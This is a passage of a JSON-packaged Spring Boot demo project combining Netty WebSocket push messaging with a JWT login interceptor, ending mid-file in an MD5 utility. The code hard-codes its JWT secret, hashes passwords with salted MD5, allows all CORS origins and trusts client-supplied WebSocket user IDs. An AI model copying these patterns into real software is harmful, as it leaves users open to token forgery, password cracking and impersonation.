    "content": "package com.company.project.configurer;\n\n\nimport com.alibaba.fastjson.JSON;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.utils.JwtUtils;\nimport io.jsonwebtoken.Claims;\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport java.io.IOException;\n\nimport static com.company.project.utils.JwtUtils.USER_ACCOUNT_KEY;\nimport static com.company.project.utils.JwtUtils.USER_ID_KEY;\n\n/**\n * <p>登陆拦截器\n */\npublic class LoginInterceptor extends HandlerInterceptorAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        //拦截接口\n        //从header中获取token\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if(StringUtils.isBlank(token)){\n            token = request.getParameter(\"token\");\n        }\n        //token为空返回\n        if(StringUtils.isBlank(token)){\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"token不能为空\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }//  校验并解析token，如果token过期或者篡改，则会返回null\n        Claims claims = JwtUtils.checkJWT(token);\n        if(null == claims){\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"登陆失效， 请重新登陆\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }\n        //  校验通过后，设置用户信息到request里，在Controller中从Request域中获取用户信息\n        request.setAttribute(USER_ID_KEY, claims.get(\"id\"));\n        request.setAttribute(USER_ACCOUNT_KEY, claims.get(\"account\"));\n        return true;\n    }\n\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        response.setStatus(200);\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/configurer/MyBatisPlusConfig.java",
    "content": "package com.company.project.configurer;\n\nimport com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @ClassName MyBatisPlusConfig\n * @Version 1.0\n **/\n@Configuration\npublic class MyBatisPlusConfig {\n    /**\n     * 配置mybatis-plus 分页查件\n     * @return\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        PaginationInterceptor paginationInterceptor = new PaginationInterceptor();\n        return paginationInterceptor;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/configurer/SwaggerConfiguration.java",
    "content": "package com.company.project.configurer;\n\nimport com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\nimport springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n@Configuration\n@EnableSwagger2\n@EnableKnife4j\n@Import(BeanValidatorPluginsConfiguration.class)\npublic class SwaggerConfiguration {\n\n    @Bean\n    public Docket createRestApi() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .apiInfo(apiInfo())\n                .select()\n                .apis(RequestHandlerSelectors.basePackage(\"com.company.project.web\"))\n                .paths(PathSelectors.any())\n                .build();\n    }\n\n    private ApiInfo apiInfo() {\n        return new ApiInfoBuilder()\n                .title(\"Springboot-api APIs\")\n                .description(\"Springboot-api APIs\")\n                .termsOfServiceUrl(\"http://localhost:8080/\")\n                .contact(\"xxxxxxxxxx@163.com\")\n                .version(\"1.0\")\n                .build();\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/configurer/WebMvcConfigurer.java",
    "content": "package com.company.project.configurer;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.serializer.SerializerFeature;\nimport com.alibaba.fastjson.support.config.FastJsonConfig;\nimport com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;\n\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.core.ServiceException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.NoHandlerFoundException;\nimport org.springframework.web.servlet.config.annotation.*;\n\n/**\n * Spring MVC 配置\n */\n@Configuration\npublic class WebMvcConfigurer extends WebMvcConfigurerAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Bean\n    LoginInterceptor loginInterceptor() {\n\n        return new LoginInterceptor();\n    }\n\n    //使用阿里 FastJson 作为JSON MessageConverter\n    @Override\n    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {\n        FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter();\n        FastJsonConfig config = new FastJsonConfig();\n        config.setSerializerFeatures(SerializerFeature.WriteMapNullValue);//保留空的字段\n        //SerializerFeature.WriteNullStringAsEmpty,//String null -> \"\"\n        //SerializerFeature.WriteNullNumberAsZero//Number null -> 0\n        // 按需配置，更多参考FastJson文档哈\n\n        converter.setFastJsonConfig(config);\n        converter.setDefaultCharset(Charset.forName(\"UTF-8\"));\n        converter.setSupportedMediaTypes(Arrays.asList(MediaType.APPLICATION_JSON_UTF8));\n        converters.add(converter);\n    }\n\n\n    //统一异常处理\n    @Override\n    public void configureHandlerExceptionResolvers(List<HandlerExceptionResolver> exceptionResolvers) {\n        exceptionResolvers.add(new HandlerExceptionResolver() {\n            public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception e) {\n                Result result = new Result();\n                if (e instanceof ServiceException) {//业务失败的异常，如“账号或密码错误”\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else if (e instanceof MethodArgumentNotValidException) {//@valid注解验证参数\n                    MethodArgumentNotValidException m = (MethodArgumentNotValidException) e;\n                    m.getBindingResult().getFieldError().getDefaultMessage();\n                    result.setCode(ResultCode.PARAM_FAIL).setMessage(m.getBindingResult().getFieldError().getDefaultMessage()).setSuccess(false);\n                } else if (e instanceof NoHandlerFoundException) {\n                    result.setCode(ResultCode.NOT_FOUND).setMessage(\"接口 [\" + request.getRequestURI() + \"] 不存在\").setSuccess(false);\n                } else if (e instanceof ServletException) {\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else {\n                    result.setCode(ResultCode.INTERNAL_SERVER_ERROR).setMessage(\"接口 [\" + request.getRequestURI() + \"] 内部错误，请联系管理员\").setSuccess(false);\n                    String message;\n                    if (handler instanceof HandlerMethod) {\n                        HandlerMethod handlerMethod = (HandlerMethod) handler;\n                        message = String.format(\"接口 [%s] 出现异常，方法：%s.%s，异常摘要：%s\",\n                                request.getRequestURI(),\n                                handlerMethod.getBean().getClass().getName(),\n                                handlerMethod.getMethod().getName(),\n                                e.getMessage());\n                    } else {\n                        message = e.getMessage();\n                    }\n                    logger.error(message, e);\n                }\n                responseResult(response, result);\n                return new ModelAndView();\n            }\n\n        });\n    }\n\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    public Result handleMethodArgumentNotValidException(MethodArgumentNotValidException e) {\n        return ResultGenerator.genFailResult(e.getBindingResult().getFieldError().getDefaultMessage());\n    }\n\n    /**\n     * 页面跨域访问Controller过滤\n     *\n     * @return\n     */\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        WebMvcConfigurer.super.addCorsMappings(registry);\n        registry.addMapping(\"/**\")\n                .allowedHeaders(\"*\")\n                .allowedMethods(\"POST\",\"GET\")\n                .allowedOrigins(\"*\");\n    }\n\n    //添加拦截器\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        registry.addInterceptor(loginInterceptor())\n                .excludePathPatterns(\"/doc.html\")\n                .excludePathPatterns(\"/swagger-resources/**\")\n                .excludePathPatterns(\"/error\")\n                .excludePathPatterns(\"/webjars/**\")\n                .excludePathPatterns(\"/api/user/login\")\n                .excludePathPatterns(\"/api/user/register\")\n                .addPathPatterns(\"/**\");\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        response.setStatus(200);\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n\n    /**\n     * 发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n     *\n     * @param registry\n     */\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n        registry.addResourceHandler(\"/**\").addResourceLocations(\n                \"classpath:/static/\");\n        registry.addResourceHandler(\"doc.html\").addResourceLocations(\n                \"classpath:/META-INF/resources/\");\n        registry.addResourceHandler(\"/webjars/**\").addResourceLocations(\n                \"classpath:/META-INF/resources/webjars/\");\n        super.addResourceHandlers(registry);\n    }\n\n\n    /**\n     * 配置servlet处理\n     */\n    @Override\n    public void configureDefaultServletHandling(\n            DefaultServletHandlerConfigurer configurer) {\n        configurer.enable();\n    }\n\n\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/configurer/netty/NettyConfig.java",
    "content": "package com.company.project.configurer.netty;\n\nimport io.netty.channel.Channel;\nimport io.netty.channel.group.ChannelGroup;\nimport io.netty.channel.group.DefaultChannelGroup;\nimport io.netty.util.concurrent.GlobalEventExecutor;\n\nimport java.util.concurrent.ConcurrentHashMap;\n\npublic class NettyConfig {\n    /** * 定义一个channel组，管理所有的channel * GlobalEventExecutor.INSTANCE 是全局的事件执行器，是一个单例 */\n    private static ChannelGroup channelGroup = new DefaultChannelGroup(GlobalEventExecutor.INSTANCE);\n\n    /** * 存放用户与Chanel的对应信息，用于给指定用户发送消息 */\n    private static ConcurrentHashMap<String,Channel> userChannelMap = new ConcurrentHashMap<>();\n\n    private NettyConfig() {}\n    \n    /** * 获取channel组 * @return */\n    public static ChannelGroup getChannelGroup() {\n        return channelGroup;\n    }\n\n    /** * 获取用户channel map * @return */\n    public static ConcurrentHashMap<String,Channel> getUserChannelMap(){\n        return userChannelMap;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/configurer/netty/NettyServer.java",
    "content": "package com.company.project.configurer.netty;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\nimport io.netty.handler.codec.http.HttpObjectAggregator;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.websocketx.WebSocketServerProtocolHandler;\nimport io.netty.handler.codec.serialization.ObjectEncoder;\nimport io.netty.handler.stream.ChunkedWriteHandler;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\nimport javax.annotation.PreDestroy;\nimport java.net.InetSocketAddress;\n\n@Component\npublic class NettyServer {\n    private static final Logger log = LoggerFactory.getLogger(NettyServer.class);\n    /** * webSocket协议名 */\n    private static final String WEBSOCKET_PROTOCOL = \"WebSocket\";\n\n    /** * 端口号 */\n    @Value(\"${spring.webSocket.netty.port}\")\n    private int port;\n\n    /** * webSocket路径 */\n    @Value(\"${spring.webSocket.netty.path:}\")\n    private String webSocketPath;\n\n    @Autowired\n    private WebSocketHandler webSocketHandler;\n\n    private EventLoopGroup bossGroup;\n    private EventLoopGroup workGroup;\n\n    /** * 启动 * @throws InterruptedException */\n    private void start() throws InterruptedException {\n        bossGroup = new NioEventLoopGroup();\n        workGroup = new NioEventLoopGroup();\n        ServerBootstrap bootstrap = new ServerBootstrap();\n        // bossGroup辅助客户端的tcp连接请求, workGroup负责与客户端之前的读写操作\n        bootstrap.group(bossGroup,workGroup);\n        // 设置NIO类型的channel\n        bootstrap.channel(NioServerSocketChannel.class);\n        // 设置监听端口\n        bootstrap.localAddress(new InetSocketAddress(port));\n        // 连接到达时会创建一个通道\n        bootstrap.childHandler(new ChannelInitializer<SocketChannel>() {\n\n            @Override\n            protected void initChannel(SocketChannel ch) throws Exception {\n                // 流水线管理通道中的处理程序（Handler），用来处理业务\n                // webSocket协议本身是基于http协议的，所以这边也要使用http编解码器\n                ch.pipeline().addLast(new HttpServerCodec());\n                ch.pipeline().addLast(new ObjectEncoder());\n                // 以块的方式来写的处理器\n                ch.pipeline().addLast(new ChunkedWriteHandler());\n                /* 说明： 1、http数据在传输过程中是分段的，HttpObjectAggregator可以将多个段聚合 2、这就是为什么，当浏览器发送大量数据时，就会发送多次http请求 */\n                ch.pipeline().addLast(new HttpObjectAggregator(8192));\n                /* 说明： 1、对应webSocket，它的数据是以帧（frame）的形式传递 2、浏览器请求时 ws://localhost:58080/xxx 表示请求的uri 3、核心功能是将http协议升级为ws协议，保持长连接 */\n                ch.pipeline().addLast(new WebSocketServerProtocolHandler(webSocketPath, WEBSOCKET_PROTOCOL, true, 65536 * 10));\n                // 自定义的handler，处理业务逻辑\n                ch.pipeline().addLast(webSocketHandler);\n\n            }\n        });\n        // 配置完成，开始绑定server，通过调用sync同步方法阻塞直到绑定成功\n        ChannelFuture channelFuture = bootstrap.bind().sync();\n        log.info(\"Server started and listen on:{}\",channelFuture.channel().localAddress());\n        // 对关闭通道进行监听\n        channelFuture.channel().closeFuture().sync();\n    }\n\n    /** * 释放资源 * @throws InterruptedException */\n    @PreDestroy\n    public void destroy() throws InterruptedException {\n        if(bossGroup != null){\n            bossGroup.shutdownGracefully().sync();\n        }\n        if(workGroup != null){\n            workGroup.shutdownGracefully().sync();\n        }\n    }\n    @PostConstruct()\n    public void init() {\n        //需要开启一个新的线程来执行netty server 服务器\n        new Thread(() -> {\n            try {\n                start();\n            } catch (InterruptedException e) {\n                e.printStackTrace();\n            }\n        }).start();\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/configurer/netty/WebSocketHandler.java",
    "content": "package com.company.project.configurer.netty;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport io.netty.channel.ChannelHandler;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;\nimport io.netty.handler.codec.http.websocketx.TextWebSocketFrame;\nimport io.netty.util.AttributeKey;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\n\n/** * TextWebSocketFrame类型， 表示一个文本帧 * @author sixiaojie * @date 2020-03-28-13:47 */\n@Component\n@ChannelHandler.Sharable\npublic class WebSocketHandler extends SimpleChannelInboundHandler<TextWebSocketFrame> {\n    private static final Logger log = LoggerFactory.getLogger(NettyServer.class);\n\n    /** * 一旦连接，第一个被执行 * @param ctx * @throws Exception */\n    @Override\n    public void handlerAdded(ChannelHandlerContext ctx) throws Exception {\n        log.info(\"handlerAdded 被调用\"+ctx.channel().id().asLongText());\n        // 添加到channelGroup 通道组\n        NettyConfig.getChannelGroup().add(ctx.channel());\n    }\n\n    /** * 读取数据 */\n    @Override\n    protected void channelRead0(ChannelHandlerContext ctx, TextWebSocketFrame msg) throws Exception {\n        log.info(\"服务器收到消息：{}\",msg.text());\n\n        // 获取用户ID,关联channel\n        JSONObject jsonObject = JSON.parseObject(msg.text());\n        String uid = jsonObject.getString(\"uid\");\n        NettyConfig.getUserChannelMap().put(uid,ctx.channel());\n\n        // 将用户ID作为自定义属性加入到channel中，方便随时channel中获取用户ID\n        AttributeKey<String> key = AttributeKey.valueOf(\"userId\");\n        ctx.channel().attr(key).setIfAbsent(uid);\n\n        // 回复消息\n        ctx.channel().writeAndFlush(new TextWebSocketFrame(\"服务器连接成功！\"));\n    }\n\n    @Override\n    public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {\n        log.info(\"handlerRemoved 被调用\"+ctx.channel().id().asLongText());\n        // 删除通道\n        NettyConfig.getChannelGroup().remove(ctx.channel());\n        removeUserId(ctx);\n    }\n\n    @Override\n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {\n        log.info(\"异常：{}\",cause.getMessage());\n        // 删除通道\n        NettyConfig.getChannelGroup().remove(ctx.channel());\n        removeUserId(ctx);\n        ctx.close();\n    }\n\n    /** * 删除用户与channel的对应关系 * @param ctx */\n    private void removeUserId(ChannelHandlerContext ctx){\n        AttributeKey<String> key = AttributeKey.valueOf(\"userId\");\n        String userId = ctx.channel().attr(key).get();\n        NettyConfig.getUserChannelMap().remove(userId);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/core/ApplicationContextUtil.java",
    "content": "package com.company.project.core;\n \nimport org.springframework.beans.BeansException;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.stereotype.Component;\n \n/**\n * @className: ApplicationContextUtil\n * @Description: 解决定时任务获取不到service的问题\n * @Author moneylee\n * @Date 2019-05-11 14:28\n * @Version 1.0\n **/\n@Component\npublic class ApplicationContextUtil implements ApplicationContextAware {\n \n    private static ApplicationContext applicationContext;\n \n    public static ApplicationContext getApplicationContext() {\n        return applicationContext;\n    }\n \n \n    @Override\n    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n        ApplicationContextUtil.applicationContext = applicationContext;\n \n    }\n \n    public static Object getBean(String beanName) {\n        return applicationContext.getBean(beanName);\n    }\n \n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/core/Result.java",
    "content": "package com.company.project.core;\n\nimport com.alibaba.fastjson.JSON;\n\n/**\n * 统一API响应结果封装\n */\npublic class Result<T> {\n    private int code;\n    private String message;\n    private T data;\n    private Boolean success;\n\n    public Result setCode(ResultCode resultCode) {\n        this.code = resultCode.code();\n        return this;\n    }\n\n    public int getCode() {\n        return code;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public Result setMessage(String message) {\n        this.message = message;\n        return this;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public Result setData(T data) {\n        this.data = data;\n        return this;\n    }\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n    @Override\n    public String toString() {\n        return JSON.toJSONString(this);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/core/ResultCode.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应码枚举，参考HTTP状态码的语义\n */\npublic enum ResultCode {\n    SUCCESS(200),//成功\n    FAIL(400),//失败\n    UNAUTHORIZED(401),//未认证（签名错误）\n    NOT_FOUND(404),//接口不存在\n    INTERNAL_SERVER_ERROR(500),//服务器内部错误\n    PARAM_FAIL(10001);//参数异常\n\n    private final int code;\n\n    ResultCode(int code) {\n        this.code = code;\n    }\n\n    public int code() {\n        return code;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/core/ResultGenerator.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应结果生成工具\n */\npublic class ResultGenerator {\n    private static final String DEFAULT_SUCCESS_MESSAGE = \"SUCCESS\";\n\n    public static Result genSuccessResult() {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE);\n    }\n\n    public static <T> Result<T> genSuccessResult(T data) {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE)\n                .setData(data);\n    }\n\n    public static Result genFailResult(String message) {\n        return new Result()\n                .setSuccess(false)\n                .setCode(ResultCode.FAIL)\n                .setMessage(message);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/core/ServiceException.java",
    "content": "package com.company.project.core;\n\n/**\n * 服务（业务）异常如“ 账号或密码错误 ”，该异常只做INFO级别的日志记录 @see WebMvcConfigurer\n */\npublic class ServiceException extends RuntimeException {\n    public ServiceException() {\n    }\n\n    public ServiceException(String message) {\n        super(message);\n    }\n\n    public ServiceException(String message, Throwable cause) {\n        super(message, cause);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/dao/UserMapper.java",
    "content": "package com.company.project.dao;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface UserMapper extends BaseMapper<User> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/model/User.java",
    "content": "package com.company.project.model;\n\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableLogic;\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport lombok.experimental.Accessors;\n\nimport javax.validation.constraints.NotEmpty;\n\n/**\n * <p>\n * \n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\n@Accessors(chain = true)\npublic class User implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    @TableId(value = \"id\", type = IdType.AUTO)\n    private Integer id;\n\n    /**\n     * 用户名\n     */\n    @NotEmpty(message = \"用户名不能为空！\")\n    private String username;\n\n    /**\n     * 密码\n     */\n    @NotEmpty(message = \"密码不能为空！\")\n    private String password;\n\n    /**\n     * 昵称\n     */\n    private String nickName;\n\n    /**\n     * 性别\n     */\n    private Integer sex;\n\n    /**\n     * 创建时间\n     */\n    private Date createDate;\n\n    /**\n     * 创建人\n     */\n    private Integer createUser;\n\n    /**\n     * 修改时间\n     */\n    private Date updateDate;\n\n    /**\n     * 修改人\n     */\n    private Integer updateUser;\n\n    /**\n     * 删除标志0未删 1删除\n     */\n    @TableLogic\n    private Integer delFlag;\n\n    /**\n     * 登陆返回token\n     */\n    @TableField(exist = false)\n    private String token;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/service/IUserService.java",
    "content": "package com.company.project.service;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface IUserService extends IService<User> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/service/PushService.java",
    "content": "package com.company.project.service;\n\npublic interface PushService {\n    /** * 推送给指定用户 * @param userId * @param msg */\n    void pushMsgToOne(String userId, String msg);\n\n    /** * 推送给所有用户 * @param msg */\n    void pushMsgToAll(String msg);\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/service/impl/PushServiceImpl.java",
    "content": "package com.company.project.service.impl;\n\nimport com.company.project.configurer.netty.NettyConfig;\nimport com.company.project.service.PushService;\nimport io.netty.channel.Channel;\nimport io.netty.handler.codec.http.websocketx.TextWebSocketFrame;\nimport org.springframework.stereotype.Service;\n\nimport java.util.concurrent.ConcurrentHashMap;\n\n/** * @author sixiaojie * @date 2020-03-30-20:10 */\n@Service\npublic class PushServiceImpl implements PushService {\n\n    @Override\n    public void pushMsgToOne(String userId, String msg){\n        ConcurrentHashMap<String, Channel> userChannelMap = NettyConfig.getUserChannelMap();\n        Channel channel = userChannelMap.get(userId);\n        channel.writeAndFlush(new TextWebSocketFrame(msg));\n    }\n    @Override\n    public void pushMsgToAll(String msg){\n        NettyConfig.getChannelGroup().writeAndFlush(new TextWebSocketFrame(msg));\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/service/impl/UserServiceImpl.java",
    "content": "package com.company.project.service.impl;\n\nimport com.company.project.model.User;\nimport com.company.project.dao.UserMapper;\nimport com.company.project.service.IUserService;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n *  服务实现类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Service\npublic class UserServiceImpl extends ServiceImpl<UserMapper, User> implements IUserService {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/utils/JwtUtils.java",
    "content": "package com.company.project.utils;\n\nimport com.company.project.model.User;\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.Jwts;\nimport io.jsonwebtoken.SignatureAlgorithm;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Date;\n\n/**\n * jwt工具类\n */\npublic class JwtUtils {\n\n    public static final String USER_ID_KEY = \"user_id_key\";\n\n    public static final String USER_ACCOUNT_KEY = \"user_account_key\";\n\n\n    public static final String SUBJECT = \"onehee\";\n\n    public static final long EXPIRE = 1000*60*60*24*7;  //过期时间，毫秒，一周\n\n    //秘钥\n    public static final  String APPSECRET = \"onehee666\";\n\n    /**\n     * 生成jwt\n     * @param user\n     * @return\n     */\n    public static String geneJsonWebToken(User user){\n\n        String token = Jwts.builder().setSubject(SUBJECT)\n                .claim(\"id\",user.getId())\n                .claim(\"userName\",user.getUsername())\n                .setIssuedAt(new Date())\n                .setExpiration(new Date(System.currentTimeMillis()+EXPIRE))\n                .signWith(SignatureAlgorithm.HS256,APPSECRET).compact();\n\n        return token;\n    }\n\n\n    /**\n     * 校验token\n     * @param token\n     * @return\n     */\n    public static Claims checkJWT(String token ){\n\n        try{\n            final Claims claims =  Jwts.parser().setSigningKey(APPSECRET).\n                    parseClaimsJws(token).getBody();\n            return  claims;\n\n        }catch (Exception e){ }\n        return null;\n\n    }\n\n\n    /**\n     * 判断当前登陆用户是不是admin\n     * @param request\n     * @return\n     */\n    public static boolean isAdmin(HttpServletRequest request) {\n        if (request.getAttribute(USER_ACCOUNT_KEY) == null) {\n            return false;\n        }\n        if (\"admin\".equals(request.getAttribute(USER_ACCOUNT_KEY).toString())){\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_netty_websocket/src/main/java/com/company/project/utils/MD5Utils.java",
    "content": "package com.company.project.utils;\n\nimport org.apache.commons.codec.digest.DigestUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\n\npublic class MD5Utils {\n\n\tprivate static String salt = \"springboot_api\";\n\t\n\t/**\n\t * 加密字符串\n\t * @param password 要加密的明文\n\t * @param isAddSalt 是否加默认盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, boolean isAddSalt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\tif (isAddSalt){\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t\t} else {\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password));\n\t\t\t}\n\t\t}\n\t\treturn null;\t\t\n\t}\n\t\n\t/**\n\t * \n\t * @param bytes\n\t * @return\n\t */\n\tpublic static String Encrypt(byte[] bytes){\n\t\tif (ArrayUtils.isNotEmpty(bytes)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(bytes));\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * MD5加盐加密\n\t * @param password 要加密的明文\n\t * @param salt 盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, String salt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t}\n\t\treturn null;\t\t\t\n\t}\n\t\n\tpublic static void main(String[] 